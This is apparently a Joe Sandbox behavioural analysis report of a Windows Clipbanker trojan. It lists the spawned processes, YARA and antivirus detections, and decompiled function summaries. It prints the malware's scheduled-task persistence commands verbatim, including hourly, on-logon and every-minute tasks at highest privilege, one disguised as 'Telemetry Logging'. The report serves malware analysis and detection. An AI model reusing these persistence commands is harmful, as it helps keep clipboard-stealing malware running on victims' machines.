Start time:	17:32:56
Start date:	23/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0x1c0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:32:56
Start date:	23/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0x5e0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	17:33:10
Start date:	23/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0x90000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:33:10
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:33:10
Start date:	23/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0x90000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:33:10
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:33:11
Start date:	23/05/2024
Path:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000007.00000002.1817763757.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000007.00000002.1817763757.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 66%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:33:11
Start date:	23/05/2024
Path:	C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000008.00000002.1811428432.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000008.00000002.1811428432.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 66%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:33:12
Start date:	23/05/2024
Path:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000009.00000002.1816666835.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000009.00000002.1816666835.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	17:33:12
Start date:	23/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0x90000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	17:33:12
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:33:13
Start date:	23/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0x90000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	17:33:13
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	17:33:14
Start date:	23/05/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000F.00000002.4085599610.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000F.00000002.4085599610.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 66%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	17:33:15
Start date:	23/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0x90000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	17:33:15
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	17:33:20
Start date:	23/05/2024
Path:	C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000012.00000002.1889439352.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000012.00000002.1889439352.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 66%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	17:33:28
Start date:	23/05/2024
Path:	C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000015.00000002.1977139395.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000015.00000002.1977139395.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	17:33:37
Start date:	23/05/2024
Path:	C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000016.00000002.2058620639.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000016.00000002.2058620639.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 66%, ReversingLabs
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	1.6%
Signature Coverage:	1.9%
Total number of Nodes:	1018
Total number of Limit Nodes:	16

Executed Functions

Function 6CF7B6B0 Relevance: 35.2, APIs: 23, Instructions: 669
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6CF7B73F
VariantInit.OLEAUT32(?), ref: 6CF7B748
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6CF7B7BE
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6CF7B7F5
VariantClear.OLEAUT32(?), ref: 6CF7B801

Part of subcall function 6CF7C850: VariantInit.OLEAUT32(?), ref: 6CF7C88F
Part of subcall function 6CF7C850: VariantInit.OLEAUT32(?), ref: 6CF7C895
Part of subcall function 6CF7C850: SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6CF7C8A0
Part of subcall function 6CF7C850: SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6CF7C8D5
Part of subcall function 6CF7C850: VariantClear.OLEAUT32(?), ref: 6CF7C8E1

VariantClear.OLEAUT32(?), ref: 6CF7BA15
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7BE90
VariantClear.OLEAUT32(?), ref: 6CF7BEA3
VariantClear.OLEAUT32(?), ref: 6CF7BEA9

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Init$CreateElementVector$Destroy
String ID:
API String ID: 2012514194-0
Opcode ID: 50c105c05cd0bb4f3fb876db84f2b24923703b2428137cd30f9faf493a334fa4
Instruction ID: 67534b9047a1a5646f60964adc9cb2487856010a017c872acdd8a469b32aa441
Opcode Fuzzy Hash: 50c105c05cd0bb4f3fb876db84f2b24923703b2428137cd30f9faf493a334fa4
Instruction Fuzzy Hash: 30525C71D00218DFDB10DFA8D884BDEBBB5BF49304F25859AE519AB750DB30A945CFA0

Function 062B0EB3 Relevance: 29.6, Strings: 23, Instructions: 800
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

HERE, xrefs: 062B12EC
LOOK, xrefs: 062B12E7
HERE, xrefs: 062B0F6F
HERE, xrefs: 062B19F0
LOOK, xrefs: 062B0F6A
LOOK, xrefs: 062B1081
Gvq, xrefs: 062B1923
p<^q, xrefs: 062B112C
HERE, xrefs: 062B1592
Gvq, xrefs: 062B16D2
HERE, xrefs: 062B1086
LOOK, xrefs: 062B17E4
Gvq, xrefs: 062B14CA
p<^q, xrefs: 062B1142
LOOK, xrefs: 062B1A9F
p<^q, xrefs: 062B1177
Gvq, xrefs: 062B1CCD
p<^q, xrefs: 062B118D
HERE, xrefs: 062B1AA4
LOOK, xrefs: 062B19EB
LOOK, xrefs: 062B158D
HERE, xrefs: 062B17E9
Gvq, xrefs: 062B1243

Memory Dump Source

Source File: 00000000.00000002.1662165312.00000000062B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62b0000_file.jbxd

Similarity

API ID:
String ID: HERE$HERE$HERE$HERE$HERE$HERE$HERE$LOOK$LOOK$LOOK$LOOK$LOOK$LOOK$LOOK$p<^q$p<^q$p<^q$p<^q$Gvq$Gvq$Gvq$Gvq$Gvq
API String ID: 0-3728642687
Opcode ID: c80ef87238a1fac240b62e04230702f815e0f50be1951f6bfd2f444744c92f62
Instruction ID: ac81d7b9546e46e90a1a758f3ddb21b75a7b4eb31cbc7cc9a02fd4f38cb36daf
Opcode Fuzzy Hash: c80ef87238a1fac240b62e04230702f815e0f50be1951f6bfd2f444744c92f62
Instruction Fuzzy Hash: 9582A374E402298FDBA4DF68C998BD9B7B1AF48300F1481E9D50DAB365DB34AE85CF50

Function 6CF6B6C0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 245
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(mscoree.dll,CA0C7769), ref: 6CF6B711
LoadLibraryW.KERNEL32(mscoree.dll), ref: 6CF6B71C
GetProcAddress.KERNEL32(00000000,CLRCreateInstance), ref: 6CF6B730
__cftoe.LIBCMT ref: 6CF6B870
GetModuleHandleW.KERNEL32(?), ref: 6CF6B88B
GetProcAddress.KERNEL32(00000000,C8F5E518), ref: 6CF6B8D7

Strings

CLRCreateInstance, xrefs: 6CF6B72A
mscoree.dll, xrefs: 6CF6B70C, 6CF6B717
v4.0.30319, xrefs: 6CF6B767

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: AddressHandleModuleProc$LibraryLoad__cftoe
String ID: CLRCreateInstance$mscoree.dll$v4.0.30319
API String ID: 1275574042-506955582
Opcode ID: 9ddad67a7670923aaacde98d3288f63fb0563e62c0e1ce84e653da30b9ce44e3
Instruction ID: d30c4bc22160ce764f3b4e5e3f028937e2c7540548aba5f34ae208bc1a676a39
Opcode Fuzzy Hash: 9ddad67a7670923aaacde98d3288f63fb0563e62c0e1ce84e653da30b9ce44e3
Instruction Fuzzy Hash: 34919071D042499FCB04DFE9C88099EBBB5FF49314F248A6CE11AEBB50D730A90ADB54

Function 033931F0 Relevance: 7.1, Strings: 5, Instructions: 833COMMON

Download Yara Rule

Strings

Hbq, xrefs: 03393C18
,bq, xrefs: 0339393F
(o^q, xrefs: 03393BA1
,bq, xrefs: 0339392F
(o^q, xrefs: 03393BAB

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$,bq$,bq$Hbq
API String ID: 0-3486158592
Opcode ID: 812e402c2ce2aeda76871baf3539de5af1203e02f9a96c11bb2ae19262ddf090
Instruction ID: 92ad12299b8a23b19bf5114d6d1595a9c758074134d56e3a5aeb25220a03bb35
Opcode Fuzzy Hash: 812e402c2ce2aeda76871baf3539de5af1203e02f9a96c11bb2ae19262ddf090
Instruction Fuzzy Hash: 76624DB9B00115DFDB18DF69C8D4AAEB7B6BF88320B15816AE815DB364DB31DC41CB90

Function 03390A50 Relevance: 2.8, Strings: 2, Instructions: 260COMMON

Download Yara Rule

Strings

Xbq, xrefs: 03390A7F
$^q, xrefs: 03390A66

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: Xbq$$^q
API String ID: 0-1593437937
Opcode ID: 2fa4043cf54acf0d03686b03e394af8dac3fd6018400d5db21837014b1fb62ef
Instruction ID: 9e9c060edc4e74fae07ff269a7d2a39147fe2c19b32c43de1e69066aed70b22f
Opcode Fuzzy Hash: 2fa4043cf54acf0d03686b03e394af8dac3fd6018400d5db21837014b1fb62ef
Instruction Fuzzy Hash: A3816474B00218CBDF1CEF79999467E7ABBBFC8710B05852AD44AE728CDE3498428795

Function 033962C6 Relevance: 1.8, Strings: 1, Instructions: 561COMMON

Download Yara Rule

Strings

D, xrefs: 033962CB

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: 8309c4685cee0d14724f219de15f1bf103e5246860fb180bc3ae99635e71bd55
Instruction ID: 0656b146194ffe874b58910b887ec4d29786242fa3ff40da776a8c855e6d68ac
Opcode Fuzzy Hash: 8309c4685cee0d14724f219de15f1bf103e5246860fb180bc3ae99635e71bd55
Instruction Fuzzy Hash: 4552C974A01229CFDB54DF68C998A9DB7B6FF89300F1081D9D509A73A5CB35AE81CF90

Function 062E3A7B Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(?,?), ref: 062E3B09

Memory Dump Source

Source File: 00000000.00000002.1662245227.00000000062E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62e0000_file.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 1bbec0de14888ae7edaa0616d03a3210af7c491279e334500ca98049fa601687
Instruction ID: fbf818859ec804f08c2d000a53602625b77e17f4c17e6f7e80822acc85733db5
Opcode Fuzzy Hash: 1bbec0de14888ae7edaa0616d03a3210af7c491279e334500ca98049fa601687
Instruction Fuzzy Hash: 6221ACB5D012189FDB10CFA9D584ADEFBF0EB49320F24906AE819B7310C734A945CF64

Function 062E3A80 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(?,?), ref: 062E3B09

Memory Dump Source

Source File: 00000000.00000002.1662245227.00000000062E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62e0000_file.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: f50b294a5ac008ea1c928d1227153393248c31a255929aa98020848e83cfd88f
Instruction ID: ce4a0e45b05d0039e5229b841607053904171aed87865b1bf8f04ab112f1f902
Opcode Fuzzy Hash: f50b294a5ac008ea1c928d1227153393248c31a255929aa98020848e83cfd88f
Instruction Fuzzy Hash: E721AAB5D012189FCB10CFA9D584ADEFBF0AB49320F24906AE819B7320C734A945CFA4

Function 0339ABD0 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

8cq, xrefs: 0339AC37

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: 8cq
API String ID: 0-304758316
Opcode ID: 18a6106c08c09dc33b75b4f8581688e774eebe4ae99daeb831fe1116401839a8
Instruction ID: 03f6b6badd996a7c58f5402900ccf0f6ebd8c4155c4d50327058062efdbc8dea
Opcode Fuzzy Hash: 18a6106c08c09dc33b75b4f8581688e774eebe4ae99daeb831fe1116401839a8
Instruction Fuzzy Hash: 9E311575D41208AFDB04CFA8D880AEEFBF5FF49310F10906AE811B7260DB719A05CB95

Function 0339ABD8 Relevance: 1.3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

Strings

8cq, xrefs: 0339AC37

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: 8cq
API String ID: 0-304758316
Opcode ID: d24fd638937d7ddac10d8f64d11f11431914ec5704394cc0bccfaf0bc5df2640
Instruction ID: de2dc99f3af5929212731ce34d42d559aee87dbe10f8a8d67b42a8018d2003df
Opcode Fuzzy Hash: d24fd638937d7ddac10d8f64d11f11431914ec5704394cc0bccfaf0bc5df2640
Instruction Fuzzy Hash: 5A31E475D41208AFDB04CFA8D480AEEBBF5FF49310F10906AE915B7260DB719A05CB95

Function 062B26F8 Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1662165312.00000000062B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b65f8a4f3077512fad2ac871f7ab773144c560ce012ad5923186d77539a469a2
Instruction ID: dbe0e14115e79b6ab184a000accf4205eed3de7be18c4e9e8503589e6395f868
Opcode Fuzzy Hash: b65f8a4f3077512fad2ac871f7ab773144c560ce012ad5923186d77539a469a2
Instruction Fuzzy Hash: B032A274E01229CFDB64DFA5C880BEDBBB2AF89300F1081AAD549AB354DB345E81CF50

Function 03390E08 Relevance: .4, Instructions: 432COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 217d7a97218091033636ce12ec71adc21063db5497cb2bc2abd3fdf641d6ba58
Instruction ID: 0dc67a7d2202c124f480afd032e4c79dd75336bb215cc9034629148a559b6d0b
Opcode Fuzzy Hash: 217d7a97218091033636ce12ec71adc21063db5497cb2bc2abd3fdf641d6ba58
Instruction Fuzzy Hash: B1229074E00229CFDB24DF65C994BADBBB6BB88304F1081EAD909A7364DB355E85CF50

Function 062B26DD Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1662165312.00000000062B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fef2d28bb510e5869379df328e831ac8cd889bb2e24106d965d853fe8e88edb7
Instruction ID: ebfc7b749dd17230b445d908f7f2030ccbd1cd7d2e65ff4b771fec061f1498be
Opcode Fuzzy Hash: fef2d28bb510e5869379df328e831ac8cd889bb2e24106d965d853fe8e88edb7
Instruction Fuzzy Hash: 0E91C174E012289FDB64DF69C880BDDBBB2BF89300F14C1AAD54DAB254DB345A85CF51

Function 6CF79357 Relevance: 41.0, APIs: 21, Strings: 1, Instructions: 2492COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6CF784BF
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF784D2
SafeArrayGetElement.OLEAUT32 ref: 6CF7850A
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6CF794C1
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF794D4
SafeArrayGetElement.OLEAUT32(?,?,00000000), ref: 6CF7950C
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6CF797A4
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF797B7
